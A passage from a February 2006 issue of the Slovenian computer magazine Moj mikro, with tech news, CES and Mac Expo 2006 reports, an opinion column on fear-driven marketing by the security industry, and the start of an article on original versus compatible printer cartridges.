The Movies, natančneje z orodji v njej, je zadeva preprostejša. Izmed ponujenih možnosti izberete igralce, scene in rekvizite, naredite okvir zgodbe ter z orodji oblikujete gibe, izraze igralcev, dodajate zvoke in podnapise in podobno. Posamezniki so tudi že našli načine, kako spremeniti privzete elemente. Tako z enim programom spremenijo teksture scen, z drugim pa na novo naredijo rekvizite in kostume. www.lionhead.com, www.machinima.com NAJBOLJŠE REŠITVE SO PREPROSTE V farmacevtski družbi Lek, članu skupine Sandoz, so pred kratkim uvedli novo programsko opremo za avtomatizirano vodenje šaržnih procesov. Sistemsko orodje, ki so ga razvijali skupaj s podjetjem Abit, so poimenovali @Batch in ga zasnovali optimalno glede na potrebe Lekove procesne proizvodnje farmacevtskih učinkovin. »Uvedba programske rešitve @Batch je pripomogla k večji storilnosti, predvsem pa k boljši kakovosti, ki jo omogoča ponovljivost proizvodnih procesov. Poleg tega @Batch s preprostimi korekcijami proizvodnih receptur omogoča optimiranje proizvodnje,« ocenjuje Uroš Prosen, inženir za avtomatizacijo in energetski menedžer v družbi Lek, ter ob tem poudarja, da je glavna prednost programa @Batch njegova preprostost. Ključni razlog za uvedbo programa je bilo zagotavljanje kakovosti in s tem ponovljivosti proizvodnje, za kar so v Leku potrebovali cenovno ugodno in hkrati učinkovito orodje. Kot je pojasnil Uroš Prosen, tovrstne programske rešitve na trgu sicer že obstajajo, vendar so razmeroma drage in, kar je še pomembneje, največkrat preobširne in prezapletene za uporabnike. »V družbi Lek smo želeli čim preprostejši sistem; enostaven za vzdrževanje, za razumevanje in za uporabo. Skozi faze razvoja smo v Leku namreč spoznali, da preobsežna programska oprema pogosto pomeni neobvladljivost, ki je povrhu tudi ekonomsko neupravičena, saj ni izkoriščena v celoti. Rešitev, ki ni prezapletena, pa je tudi cenovno ugodnejša,« poudarja Prosen in dodaja, da gre pri @Batchu po grobih ocenah približno za tretjinski do polovičen strošek sorodnih izdelkov, ki so trenutno na trgu. (promocijska novica) www.lek.si, www.abit.si KAJ HRANI GOOGLE? Šele zdaj, ko je znano nasprotovanje Googla, da ameriškim oblastem na njihovo zahtevo preda podatke, s katerim bodo lahko te preganjale spolne prestopnike, se ljudje po svetu sprašujejo, kaj sploh ta iskalnik ve o nas. Veliko, koliko točno, pa je v največji meri odvisno od nas samih in našega početja v spletu. Dejstvo je, da iskalnik v naš računalnik namesti piškotek (cookie), katerega življenjska doba je nekaj let. S tem, ko je piškotek v našem računalniku, lahko iskalnik spremlja zgodovino iskanja določenega uporabnika. Dokler se uporabnik ne prijavi v kakšno dodatno storitev (na primer Gmail) in prostovoljno zaupa Googlu svoje osebne podatke, ta podatkov o iskanju ne more povezati z osebo iz mesa in krvi. Teoretično je tudi to možno, v če sledijo specifični IP-številki in te podatke pridobijo od ponudnika dostopa v internet. Kar je manj verjetno in dokaj zamudno. Google podatke o iskanju spremlja in hrani, zato ker jih, kot sam pravi, potrebuje za razvoj svojih storitev. Mnoge moti, da Google nikoli ni jasno povedal, kako dolgo bo te podatke hranil, torej jih lahko hrani, dokler hoče, kljub jasni obljubi, da bo naredil vse, kar je v njegovi moči, da mu teh podatkov ne bo treba izdati. Zanimivo pa je tudi, da je Google dokaj osamljen pri svojem nasprotovanju ameriškim oblastem, saj sta tako MSN kot tudi Yahoo v podobnem primeru podatke predala. To dejanje seveda moti zagovornike pravic posameznikov do zasebnosti in anonimnosti povsod po svetu. www.google.com INOVATIVNI PROJEKTOR ZA DOMAČI KINO Podjetje Toshiba bo na sejmu Cebit predstavilo oblikovno zanimiv projektor ET20, namenjen domačim kinom, na katerem je svoj pečat pustil oblikovalec Pinifarin. Projektor ima vdelan DVD-predvajalnik (na voljo bo tudi različica brez predvajalnika), sistem za prostorski zvok 5.1, širokokotno lečo (lahko prikaže sliko z diagonalo 152 centimetrov na razdalji 70 centimetrov) in bogat nabor vhodov vključno z vhodom HDMI. Ločljivost projektorja je 854 x 480 (480p) pik, razmerje kontrasta pa 1 : 2000. Projektor bo na voljo v aprilu. (promocijska novica) www.toshiba.com 11 NE PREZRITE Consumer Electronics Show 2006, Las Vegas ELEKTRONSKE DOBROTE – KOLEKCIJA 2006 Kot vsako leto so ob pomanjkanju pravega ameriškega računalniškega sejma (Comdex) svetovni proizvajalci zabavne elektronike in računalnikov predstavljali svoje letošnje novosti na sejmu CES. Le redki so svoje premiere zadržali za marčevski Cebit, večinoma pa bodo tam pokazali nekaj več podrobnosti premiernih izdelkov iz Las Vegasa. Piše : Jaka Mele jaka.mele@mojmikro.si Kakorkoli gledano, Las Vegas je idealno mesto za ta najbolj pester in nor sejem, katerega rdeča nit je izključno zabava in čim prijetnejše zapravljanje prostega časa. Ob zvoku igralnih avtomatov in žvenketu padajočih kovancev se od zgoraj odmevajoča glasna glasba in zvočni učinki kar stapljajo z okolico … KOMAJ ČAKAMO − UPORABNO Google s paketom programov ... Med največjimi novicami letošnjega CES-a je bil Googlov paket programov, s katerim se gigant podaja onstran področja iskalnikov, saj uporabnikom ponuja zaokrožen paket programov, ki skrbijo za hitrejše, udobnejše in varnejše delo v računalniku in internetu. Sočasno je Google odprl tudi svojo spletno video trgovino in kitajski iskalnik (kjer pa se je moral podrediti zahtevam kitajskih oblasti in blokirati določene informacije). ... Microsoft z Windows Visto Microsoftov predsednik Bill Gates je v uvodnem govoru prikazal glavne odlike prihajajočega sistema Windows Vista, namenjenega delu povprečnega uporabnika. Med drugim smo videli: Flip3D – orodje za enostaven preklop med odprtimi okni, Vista Sidebar – plavajoče okence, ki prikazuje tekoče novice prek RSS-a, Windows Media Player 11, ki prinaša predvsem lažje delo z velikimi zbirkami medijskih datotek … Prikazan je bil tudi napredek enostavnega uporabljanja z daljincem, namenjen predvsem Vistini izvedenki Media Edition, ki bo v novih medijskih računalnikih podpiral tudi sprejem kabelskih HDTV-programov. Povsem prenovljen in poln novih funkcije bo tudi Photo Gallery, katerega namen je predvsem pristriči peruti Googlovi Picasi. Med zanimivostmi je tudi možnost izdelave diaprojekcije, ki vključuje mešanje videa in slik in izdelavo montaž. Za pravi bonbonček pa je poskrbela demonstracija novih grafičnih zmožnosti, ki jih prinaša Vista – saj je prenovljeni Flight Simulator razpiral čeljusti nemih opazovalcev. Gates je tudi potrdil novico, da bodo za igralno konzolo Xbox 360 kmalu ponudili zunanjo optično enoto HD-DVD. Do konca junija naj bi MS prodal okoli 5 milijonov konzol. »Bliskovni« trdi diski in hibridi Samsung je predstavil 30 GB trdi disk v obliki bliskovnega (flash) pomnilnika. Samsung je v napravi izboljšal elektroniko ter dodal napetostne filtre, kar omogoča veliko zanesljivejše delovanje in daljšo življenjsko dobo. Čeprav se kapaciteta bliskovitega pomnilnika podvaja vsako leto, cena na 12 GB pa se niža z letno hitrostjo 3 0% (v času sejma CES okoli 45 USD na GB), samostojnih bliskovnih diskov ne bomo videli vsaj do sredine 2007. Mehanični trdi diski, kjer kraljuje Seagate namreč dosegajo veliko večje zmogljivosti (500 GB in kmalu več), ob ceni 0,65 USD za GB. Bomo pa predvsem v cenovno višjem razredu prenosnikov že do konca leta ugledali hibridne diske, ki bodo imeli nekaj deset GB bliskovnega predpomnilnika, ki bo omogočal, da se bo potrebno mehaničnemu delu diska zagnati le občasno, in s čimer se bo čas avtonomije podaljšal za faktor 3. Pri projektu sodelujeta Samsung in Microsoft, medtem ko Intel s svojo tehnologijo Robson napoveduje bliskovni pomnilnik v funkciji zagona računalnika, s čimer obljubljajo pohitritev časa zagona sistema iz 30 in več sekund na le dve sekundi. Realno stanje Samsungovim predstavnikom ni bila ovira za napoved vojne s proizvajalci mehaničnih trdih diskov, ki jim želijo v letu 2007 odvzeti 30 % skupnega trga. Morda pa vedo kaj, česar drugi še ne vemo ... Zetera v lesti podjetja Netgear je predstavila naslednika omrežnega diskovnega polja SC101. Model Hammer bo dom ponujal štirim diskom SATA, ki jih bomo lahko menjali med delovanjem, hitrost prenosa podatkov pa se bo z uporabo gigabitnega etherneta drastično povečala. V živi predstavitvi so iz omrežnega podatkovnega skladišča sočasno predvajali štiri HDTV-video tokove 720 p, izmerjena hitrost prenosa pa je bila okoli 60 MB/s (kar je opazen dvig s 5 MB/s v SC-101). Tisočkrat občutljivejše tipalo Zares revolucionarnih izdelkov že nekaj časa nismo ugledali, zato smo bili izredno navdušeni nad slikovnim tipalom podjetja Planet 82. Tipalo, ki se bo uporabljalo v digitalnih fotoaparatih in videokamerah, obljublja kar tisočkrat večjo občutljivost na svetlobo! Izredna občutljivost novega tipala SMPD (Single Carrier Modulation Photo Detector) omogoča zajem slike skoraj v popolni temi. Tipalo uporablja načela kvantne mehanike, saj iz enega fotona izdela več tisoč elektronov. Tipalo je izdelano s procesom CMOS, v prvih aparatih pa se bo pojavil že v februarju! KO BI LE IMELI PROSTI ČAS − ZABAVNO Na področju televizije je bil opazen precejšnji napredek, predvsem glede cenovne dostopnosti. Čeprav je bil rekorder sejma Panasonic, ki je predstavil 103-palčni plazemski TV (diagonale 2,61 m!) pa so večjo pozornost pritegnili s HDTV združljivi modeli 1080 p, ki ob 50-palčnih diagonalah (dobrih 110 cm) in s 6. generacijo plazemske tehnologije končno stanejo manj kot avtomobil, saj se maloprodajne cene vztrajno spuščajo pod 2 milijona tolarjev. Napenjanje grafičnih mišic ATI je predstavil svoj nov vezni nabor R580 in na njem temelječe matične plošče Crossfire Radeon Xpress 3200, ki pa bodo v prodaji šele marca (Cebit). Ljubitelji tišine so na ASUS-ovem prostoru hitro opazili pasivno hlajeno grafiko X1600, sicer pa je med PC proizvajalci izstopala še peščica proizvajalcev računalniških napajalnikov, ki so presegli izkoristek 80 %, prav tako pa že dosegajo nazivno izhodno moč 850 W… Grafične mišice sta napenjala tako ATI kot Nvidia. Prvi z novo grafično kartico X1900XTX, ki prevzema krono najmočnejše samostojne grafike (podroben test v tej številki Mojega mikra), drugi z napovedjo (skupaj z Dellom) grafičnega sistema SLI med dvema dvoprocesorskima grafičnima karticama. Sicer pa Nvidia za marec obljublja model GF 7900 (G71), ki moj mikro | 2 | februar | 2006 NE PREZRITE Consumer Electronics Show 2006, Las Vegas Palm je ponosno prikazoval pametni telefon Treo 700w, ki je prvi Palmov izdelek, ki temelji na Microsoftovem sistemu Pocket PC. Partnerstvo med podjetjema se je začelo septembra. Med novostmi, ki jih obvlada nova napravica (in ki bodo našle pot tudi v druge naprave Pocket PC) je Windows Live Messenger, naslednik MSN Messengerja. Nebesni skavt Celestron je predstavil uporabno napravico imenovano SkyScout, ki s pomočjo GPS- sprejemnika uporabniku pomaga identificirati vidne objekte na nočnem nebu. Napravica deluje odlično in amaterski astronomi bodo zagotovo planili po njej! Uporabnika tudi poučuje o nebesnih telesih, žal le v angleščini. Alkotest v mobilniku Koristneje in stvarneje: nekateri modeli mobilnih telefonov skoraj vseh proizvajalcev gradijo na grafičnemu pospeševalniku podjetij Nvidia ali ATI. LG je bil posebej inovativen, saj je v mobilni telefon vdelal alkotest − po trisekundnem dihanju v telefon se nam izpiše promil alkohola v krvi, baje zelo natančno! se bo spopad z ATI-jevim X1900XTX. Vse kaže, da se obdobje predstavljanja novih grafičnih modelov vrača na 6 mesecev. Intelov »internetni kino« Intel je vse moči uperil na svojo novo večpredstavno platformo VIIV, ki jo je začinil s predstavitvijo platforme Centrino Duo za prenosnike (procesorji Core Duo) ter namiznim procesorjem družine 9xx. Koncept VIIV je bil ustvarjen z željo dvigniti kakovost uporabnikove izkušnje, zato pokriva tako strojno kot programsko opremo. Intel bo skupaj s podjetjem ClickStar kmalu prek interneta premierno prikazoval filme sočasno s premierami v kinodvoranah. Ideja nadzora vsebin od začetka (studii) do konca poti (občinstvo) prinaša veliko prednosti pri zagotavljanju kvalitete. Kako pa bo sprejeta bomo videli še letos. Že do konca januarja se naj bi na ameriških policah pojavili z VIIV združljivi računalniki v ohišjih velikosti videorekorderjev. Manjše naprave velikosti računalnikov mini Mac pa pridejo na trg pozneje letos. Sprva se bo cena vrtela okoli 180 tisočakov. Še pomnite, tovariši ... Gigabyte je prikazal i-RAM2, zunanji razširitveni modul, ki ga je moč vgraditi v 5,25-palčno režo. V modul je moč vtakniti do osem pomnilniških modulov DDR2 in tako ustvariti do 16 GB velik hiter pomnilniški disk. Pred izbrisom podatke varujeta vdelana baterija in povezava na sekundarno napajanje, povezava s sistemom temelji na SATA 2. Napravice bodo omogočale izredno hiter zagon sistema, na prodajnih policah pa naj bi bile že februarja (čeprav izkušnje bolj kažejo na CeBit). Proizvajalci pomnilnika so potrdili, da je napočil čas DDR2, saj je prodaja presegla prvo generacijo DDR. Morda na ta trenutek čakal AMD, ki namerava v prihodnjih mesecih predstaviti svoj vezni nabor in procesorje, ki bodo podpirali DDR2. Tudi Microsoft s spletno trgovino Microsoft je prikazoval novi, na Visti temelječi Media Center Edition s povezavo na spletno trgovino – katere informacije pa še niso bile razkrite. Velike možnosti pa so, da bo Microsoft že v kratkem predstavil svojo spletno trgovino, saj je na CES-u svojo video spletno trgovino predstavil tudi Google, svojo glasbeno in video trgovino pa zelo dobičkonosno že dlje časa upravlja tudi Apple. To potrjuje tudi napoved sodelovanja med Microsoftom in MTV-jem, saj bo MTV-jeva spletna storitev Urge temeljila na Microsoftovi tehnologiji. SanDisk je dodal več luči zgornjim špekulacijam, saj je predstavil prvi prenosni medijski predvajalnik Sansa e200 s kar 6 GB bliskovnega pomnilnika. Malce debelejša napravica kot iPod nano omogoča rekordnih 20 ur avtonomije, uporabnik pa bo lahko glasbo kupoval v Microsoftovi spletni trgovini (ohoho). Videa napravica ni zmožna predvajati, pa tudi vdelan zaslon je premajhen za kaj drugega kot opazovanje simboličnih sličic. KDO BO PA TO KUPIL − NORO! Ameriški ZAP je predstavljal električni mini trikolesni avtomobil, imenovan Xabra. Retro videz in ugodna cena znata narediti svoje. Avtomobilček, postavljen na cesto, stane okoli 1.800.000 tolarjev, dosega pa hitrosti do 65 km/h in do polnjenja naredi 65 km – krasno za mestne potepe, množična proizvodnja pa že poteka. iRobot Scooba je nadvse uporaben robot, katerega življenjsko poslanstvo je pomivanje tal. Da, prav ste prebrali – koristi zabavne robotike končno pronicajo tudi v vsakodnevno življenje. Robotek se zna izogibati stopnicam, pomivati okoli preprog, nizko ohišje pa mu omogoča dostop do pohištva tudi pod robovi omaric. Z infrardečo blokado mu lahko omejimo področje delovanja. Vse za dobrih osemdeset prešernov. Združitev prenosnikov in dlančnikov se je pripravljala že nekaj časa in tudi nekaj (neuspešnih) izdelkov smo že videli. To področje utegne spremeniti DualCor s svojim sveže predstavljenim CPC-jem. Napravica je zmožna poganjati tako Windows XP kot Pocket PC (Windows Mobile 5.0). Izredno svetel 5-palčni zaslon, občutljiv na dotik (prepoznavanje pisave), omogoča hitro krmiljenje, moč pa je priklopiti zunanjo tipkovnico. Priklopimo lahko tudi zunanji monitor (do ločljivosti 1600 x 1200), naprava pa ima tudi tri vrata USB 2.0. Prava inovacija pa se skriva v ohišju, saj CPC vsebuje dva procesorja – 1.5 GHz VIA C7 ter Intel PXA263. Sistem z 1 GB RAM-a in 40 GB trdim diskom poganja celo Visto! Ima 802.11a/b/g in bluetooth povezavi ter 3G mobilni modul (zaenkrat ameriški). Vse to ob avtonomiji 8−12 ur, teži pol kilograma, zunanji velikosti naprave 17 x 8 x 3 cm in ceni okoli 300 tisoč tolarjev.  13 NE PREZRITE Mac Expo 2006 NOVE JABOLČNE DOBROTE ljive z novimi Appli. Tako lahko pričakujemo prehodno obdobje, v katerem se bodo postopoma pojavljale nove različice aplikacij, ki bodo združljive tudi z novo strojno opremo. Vse bolj priljubljeni brskalnik Firefox naj bi bil tako na voljo marca. Pri Applu so sicer ambiciozno napovedali, naj bi do konca leta popolnoma opustili procesorje PowerPC in v celoti prešli na Intelovo osnovo. Piše : Bojan Amon bojan.amon@mojmikro.si Začetek koledarskega leta tradicionalno pomeni velike dogodke za svet računalniške in multimedijske industrije, saj se takrat na globalno največjih dogodkih odvijejo predstavitve, ki napovejo trende za prihajajoče leto. Ni se še dobro končal CES v Las Vegasu, že se je začel Applov dogodek leta − Mac Expo. Ugibanja in pričakovanja glede tega, kaj bo Apple ponudil, so bila obsežna in ambiciozna, rezultati pa so najmanj potešili, če ne presegli želje obiskovalcev. Že lani napovedana Applova selitev na Intelove procesorje je obrodila sadove. »Intelova« MacBook Pro in namizni iMac Čeprav se je govorilo o novem »vstopnem« iBooku, prvem s procesorjem tipa x86, je Steve Jobs osupil obiskovalce kar z napovedjo novega člana družine Applovih izdelkov, ki bo nadomestil profesionalne prenosnike PowerBook. Novinec vizualno ni revolucionaren, zlasti glede na predhodnika, nosi pa zato novo ime, MacBook Pro. Hkrati s predstavitvijo na Intelovi platformi osnovanega prenosnika, so »ščepec« x86 dodali tudi namiznemu iMacu. Oba računalnika poganja Intelov dvojerdni procesor. Pri MacBooku Novi programski paketi Pro sta na voljo 1,67 in 1,83-gigaherčni izvedbi, medtem ko namizni model poganja bodisi slednji bodisi 2-gigalerčni procesor. V obeh najdemo kopico večpredstavnih in povezovalnih posladkov, kot so kamera iSight, daljinski upravljalnik za Applovo aplikacijo Frontrow, ki Appla spremeni v multimedijski center za dnevno sobo, gigabitni ethernetni vmesnik, Bluetooth 2.0 in kartica za brezžično povezovanje AirPort Extreme. V obeh različicah za grafično podporo skrbijo ATI-jevi čipi. Prenosnik MacBook Pro zaznamuje tudi rahla oblikovna prenova, saj so vhodi/izhodi razvrščeni malce drugače, poseben prijem pa so pri Applu uporabili pri oblikovanju adapterja za priklop v električno omrežje, saj je ta »odporen« na spotakljive nerodneže. Marketinški koncept za Apple z Intelovimi čipi poudarja hitrejše delovanje za faktor 2 oziroma 4 (pri prenosniku) v primerjavi z Applovimi računalniki s procesorji PowerPC. Navzlic privlačnim obljubam so nekateri testi pokazali negotove rezultate. Pri nekaterih testih so se »Intelovi« Maci odrezali tudi za 250 % bolje, medtem ko so na drugih nekajkrat zaostali.Strokovnjaki novi iMac ne glede na zmedo pri meritvah še vedno opevajo kot vodilno namizno rešitev, ki bo sčasoma postala le še boljša. Težave z združljivostjo? Kakorkoli že, ovire pri takojšnjem nakupu novega Appla ne pomenijo strojne zmogljivosti, temveč pomanjkanje programske opreme. Navzlic bogatemu paketu, ki je na voljo skupaj z računalnikom, so vse druge aplikacije za Apple zasnovane za osnovo Power PC in zato nezdruž- Rahlo zaskrbljenost za pomanjkanje programske opreme so pri Appli omilili tudi s predstavitvijo novih programskih paketov za pisarniška in večpredstavna opravila. Ekvivalent Microsoftovemu Officeu, iWork, v novi različici 06 združuje posodobljen program za oblikovanje in izvedbo predstavitev Keynote 3 (Microsoftova vzporednica je PowerPoint) in novo različico urejevalnika besedil Pages 2 z obilico novih grafičnih in tabelarnih zmožnosti. Paket pri Applu ponujajo za borih 79 ameriških dolarjev, zato se bo bržkone izkazal za privlačnejšo alternativo v primerjavi z Microsoftovim paketom Office. Malce živahneje je zadihal večpredstavni paket iLife, ki je namenjen urejanju in zabavi z glasbo, fotografijo, videom in po novem tudi s spletnimi stranmi. Poleg posodobljenih različic programov iPhoto, iMovie HD, iDVD in Garageband iLife po novem vključuje tudi urejevalnik spletnih strani iWeb. Paket je na voljo za isto ceno kot iWork, zato najverjetneje kupcev prav tako ne bo primanjkovalo. Novim uspehom naproti Vse novosti z MacExpa pa niso povezane zgolj s strojno opremo. Apple je namreč napovedal nadaljnji pohod na avtomobilsko industrijo, saj je sklenil sodelovanje s koncernom Chrysler Group, ki naj bi v svoje avtomobile začel vdelovati predvajalnike iPod. Vzporedno z dobrim »nastopom« na MacExpu gre Applu tudi sicer zelo dobro. Lanskoletni dobiček kalifornijskega podjetja namreč znaša 565 milijonov ameriških dolarjev, nedavno pa je vrednost podjetja Apple presegla vrednost računalniškega imperija Dell. Malce ironično, glede na to, da je Dellov ustanovitelj pred nekaj leti izjavil, da je (takrat neuspešni) Apple primeren zgolj za takojšnjo prodajo. Apple, kar tako naprej! www.apple.com FOTOAPARAT Z »ŽIVO« SLIKO Olympusov novinec prinaša med fotoaparate novost, ki uspešno povezuje oba svetova, zrcalnorefleksnega in kompaktnega. E-330 namreč omogoča predogled slike na LCD-zaslonu, kar je v zelo omejenem obsegu doslej imel le Fuji S3 Pro. Poleg glavnega tipala ima v prizmi skrito še manjše tipalo, ki omogoča »živo« sliko, se pravi tisto, kar se vidi skozi iskalo. To je odlična novica za vse, ki bi radi prešli na naslednjo stopničko, a se ne bi radi odpovedali sliki na velikemu zaslonu. To tudi olajša fotografiranje s ptičje ali z žabje perspektive, saj ni potrebe po sklanjanju ali merjenju na slepo. E-330 omogoča tudi pravi predogled, ko lahko gledamo sliko, ki jo zajame glavno tipalo. V tem primeru so funkcije fotoaparata omejene, saj ni samodejnega ostrenja niti ne moremo videti slike 14 skozi iskalo, saj je zrcalce umaknjeno. Je pa zato prikazana prava pokritost, saj iskalo pokaže le 92 % slike. Po drugih tehničnih lastnostih je dokaj podoben svojemu predhodniku E-300. Novo tipalo Live MOS (tehnologija NMOS), za katerim verjetno stoji Panasonic, ima celo manjše število pik, 7,5 milijona. Na ta račun naj bi dosegal boljše rezultate pri višjih ISO-občutljivostih, kar bomo lahko v praksi preverili takrat, ko bo izdelek na voljo za preizkus. www.olympus.com moj mikro | 2 | februar | 2006 V PRECEPU Ustrahovanje uporabnikov? Piše : Bojan Amon bojan.amon@mojmikro.si ilustracija: Marko Škerlep Ž e od otroštva nam je intuitivno znano dejstvo, da se hitro ustrašimo neznanega, kar v poznejšem obdobju podpirajo klišejske besedne zveze, predvsem pa pestre razvedrilne vsebine, ki so včasih, včasih pa ne, povsem znanstvenofantastične. To inherentno človeško lastnost so od nekdaj znali dobro izkoristiti politični voditelji, med katerimi zdaj slavo vsekakor žanje gospod Bush, ki svoj narod od septembra 2001 drži v šahu z mavrično lestvico alarmantnih stopenj. Žal mi spomin ne seže tako daleč, da bi lahko citiral nekega strokovnjaka, ki je dejal, da so ljudje, ki jih je strah, izjemno dovzetni za manipuliranje. Morda se sliši kot teorija zarote, a vseeno, kdo bi si mislil, da bo to dejstvo kdaj začela izkoriščati računalniška industrija. Logika izkoriščanja človekovih paranoičnih vzgibov za tako imenovani »prodajni push« tudi v računalništvu sicer ni povsem nova, a je v zadnjih letih zagotovo zelo opazna. Že s prvim pojavom računalniških hekerjev sta medijska in računalniška industrija dodobra napihnili strahove (kot vedno) nevednih običajnežev in s tem vede ali nevede legitimirali marsikatero (politično) odločitev, kot je na primer nedavna odločitev o tem, kako dolgo morajo telekomunikacijski operaterji hraniti podatke o storitvah svojih naročnikov. Računalniški virusi in druga navlaka je z vidika povprečnega uporabnika prisotna že od nekdaj in pomeni potencialno škodo, izgubo podatkov, krajo podatkov o bančnih podrobnostih in podobno. Povsem normalno je torej pričakovati, da se želijo uporabniki zaščititi pred neprijetnostmi, ki nanje prežijo s tako rekoč vsakega spletnega vogala. Dejstvo, da se število zaščitnih in varnostnih rešitev asimptotično približuje številu groženj, postavlja učinkovitost teh rešitev pod velik vprašaj. Še več kot to. Dejstvo je, da za učinkovito delovanje osebnega računalnika danes ena sama varnostna rešitev pač ni več dovolj. Virusi, črvi, trojanci in druga zlonamerna koda, ki včasih poleg izražanja adolescentnih frustracij s seboj prinaša tudi politična sporočila, se množijo ob takem tempu in tako heterogenostjo, da je uniformno rešitev praktično nemogoče zasnovati. Ne glede na to so računalniški virusi tu že od nekdaj. V čem torej tiči eden izmed osrednjih razlogov za naraščajočo paniko med uporabniki računalnikov. Res je to, da računalniško znanje povprečnega mimoidočega najbrž ne presega desetine izvoda katerekoli knjige iz zbirke »Za telebane«, a to še ni razlog za preplah. Trdim, da je velika količina te panike med uporabniki umetno ustvarjena. Skorajda se ne zgodi, da bi zagnali program, odprli spletno stran ali elektronsko poštno sporočilo, ne da bi prejeli vsaj eno (po možnosti utripajoče in z rdečo barvo obrobljeno) sporočilo, da je vaš računalnik v nevarnosti in da vam pri neupoštevanju sporočil na zaslonu vsesplošna apokalipsa vašega domačega mlinčka pač ne uide. Že operacijski sistemi (npr. Windows XP s servisnim paketom 2) vključujejo svoje varnostne mehanizme, ki pompozno opozarjajo na nevarnosti, v katerih je vaš računalnik. V čem je osrednji problem zaščitnih mehanizmov, kot so protivirusni programi in zadnje čase vse bolj priljubljeni starševski nadzorniki (parental control)? Vsi ti programi delujejo na podlagi vzorcev računalniške kode, ki rabijo za presojo, ali je virus, trojanec ali črv prisoten oziroma zagnan. Povsem možno pa je (kar se pogosto tudi zgodi), da se izvede (zaželen) program, ki vsebuje del kode, ki protivirusni program »spominja« na virus. To pa je ponavadi že dovolj za jasno sporočilo v slogu »Vaš računalnik je v nevarnosti« ali podobno. Nič čudnega torej, da je povprečen uporabnik  prepričan, da je njegov osebni računalnik kolonija virusov. Določeno mero panike sprožijo tudi govorice med računalniškimi laiki, ki pa ne zadevajo le virusov in črvov, temveč tudi same operacijske sisteme. Microsoftov Windows je zaradi porodnih težav z Windows 95 in golega dejstva, da ga uporablja 90 % računalnikarjev po vsem svetu, obveljal za najbolj tvegan in nevaren sistem. Olja na ogenj prilije tudi dejstvo, da so posamezne zaščitne rešitve med seboj nezdružljive ali se celo izključujejo, kar je včasih že dovolj za »preudarna« opozorila. Slednje torej ustvarja nekakšen začaran krog, ko pred nešteto grožnjami ni uniformne zaščite, njihova kombinacija pa je lahko celo bolj škodljiva kot sama grožnja, pred katero naj bi te ščitile. Vse skupaj seveda deluje v prid računalniške varnostne »industrije«, ki ji s tovrstnim tempom zagotovo ne bo zmanjkalo dela. Žalostno in seveda neizogibno je, da se povprečen uporabnik, ki, če si sposodimo zgornjo analogijo iz otroštva, predstavlja otroka v odraslem svetu računalništva, ne more zanesti na lastno presojo glede tega, kaj je zanj škodljivo in kaj ne. Kot ni vse zlato, kar se sveti, ni vse virus ali črv, pa čeprav piše, da je. Še bolj žalostno pa je, da računalniška varnostna industrija služi z nevednostjo uporabnikov in s tem prav nič ne prispeva k njihovemu znanju, saj jih dela še bolj odvisne.  Računalniška varnostna industrija služi z nevednostjo in s strahovi uporabnikov in s tem prav nič ne prispeva k njihovemu znanju, saj jih dela še bolj odvisne. 15 V SREDIŠČU originalen, združljiv in obnovljen tiskalniški potrošni material Pestra ponudba − KAJ PA KAKOVOST? Za isti model tiskalnika boste v trgovinah našli različne kasete z barvilom − originalne, oziroma tiste, ki jih je izdelal ali pod svojo blagovno znamko prodaja proizvajalec tiskalnikov, in »neoriginalne«, torej tiste, ki jih izdeluje nekdo drug. Največja razlika je jasna že na prvi pogled: cena. Kaj pa kakovost? Pišeta : Marjan Kodelja in Zoran Banovič marjan.kodelja@mojmikro.si, zoran.banovic@mojmikro.si I zdelovalci tiskalnikov nam seveda ne bodo pritrdili, a dejstvo je, da jim danes naprave, torej tiskalniki prinašajo le desetino vsega prihodka, posel s kasetami in barvili pa preostalih 90 odstotkov. Pred desetimi leti je bilo razmerje obrnjeno, takrat so tiskalniki stali celo premoženje, uporabnikov, ki bi redno menjali barvila, pa je bilo malo. Prav nič čudnega ni, da so se na trgu pojavili številni izdelovalci neoriginalnih oziroma združljivih barvilnih kaset (kartuš). Enako logičen je tudi odziv nekaterih izdelovalcev, ki uporabo združljivih barvil (tonerjev) vsaj odsvetujejo, če ne celo prepovedujejo. ORIGINALI Originalne barvilnike izdeluje običajno izdelovalec tiskalnikov sam ali pa za to podeli licence podjetjem, ki ga izdelujejo pod njihovimi pogoji oziroma zahtevami in v okviru njihove blagovne znamke. Večinoma so izdelani na novo, torej od začetka do konca, le v manjšem obsegu lahko tudi znotraj te kategorije najdemo reciklirane (obnovljene) izdelke. Morda ni odveč pripomniti, da so porabljene barvilne kasete velik okoljevarstveni problem. Zahodne države ne vedo, kam s toliko odvržene plastike, da ne govorimo o drugih toksičnih materialih, zato izrabljene Kaj je z garancijo? Grožnje proizvajalcev tiskalnikov so dokaj jasne. Če uporabljate neoriginalne pisalne medije, potem vam ne priznajo garancije. Za vekomaj in brez »pardona«. Takšna dikcija je daleč od resnice in »varnostniki« potrošnikov se ob čem takem kar zagrozijo. Dejstva so namreč nekoliko drugačna. Garancija ne velja le, če nam dokažejo, da je do okvare prišlo izključno zaradi uporabe neoriginalnega materiala, in še v tem primeru lahko strošek popravila prenesemo na prodajalca (ali proizvajalca), od katerega smo ga legalno kupili. Pregovarjanje s serviserji zna biti zanimiv monolog z ene ali druge strani, a v tem primeru uporabniki ne smemo popuščati. Po drugi strani moramo biti tudi dovzetni za jasne argumente in priznati, če je do okvare resnično prišlo, ker smo kupili popolnoma neprimeren oziroma nekakovosten (če hočete, zanič) pisalni medij. V najbolj črnem scenariju morate od serviserja zahtevati, da vam izda jasno poročilo na papirju, zakaj je do okvare po njegovem mnenju prišlo, kar lahko kasneje ovrednoti tudi neodvisen strokovnjak. Po našem mnenju lahko tudi po preteku garancijske dobe tiskalnika od prodajalca pisalnih medijev zahtevate povračilo stroškov popravila, če lahko nedvoumno dokažete, da je do okvare prišlo zgolj zaradi njihovih slabih izdelkov. 16 barvilnike »veselo izvažajo« na Kitajsko (in druge manj razvite države), kjer končajo na (i)legalnih smetiščih oziroma jih tamkajšnja podjetja obnavljajo in poceni prodajajo pod svojimi blagovnimi znamkami. Za originale je značilno, da so dražji od drugih dveh kategorij, a po drugi strani zagotavljajo standardno kakovost, kar pomeni, da je verjetnost težav dokaj majhna. ZDRUŽLJIVI Tudi tako imenovani združljivi barvilniki so izdelani na novo. Po domače povedano to pomeni, da podjetje prekopira original (brez kršenja patentnih ali avtorskih pravic) v vseh podrobnostih, če je le mogoče, pa tudi kemično tiskalniško barvilo oziroma prah, in nato kopijo prodaja pod lastno blagovno znamko. Če so združljivi barvilniki izdelani v celoto na novo, je jasno, da takšno početje ni okolju prijazno. Delno je vprašljiva kakovost združljivih pisalnih medijev, ki lahko variira od ponudnika do ponudnika odvisno od 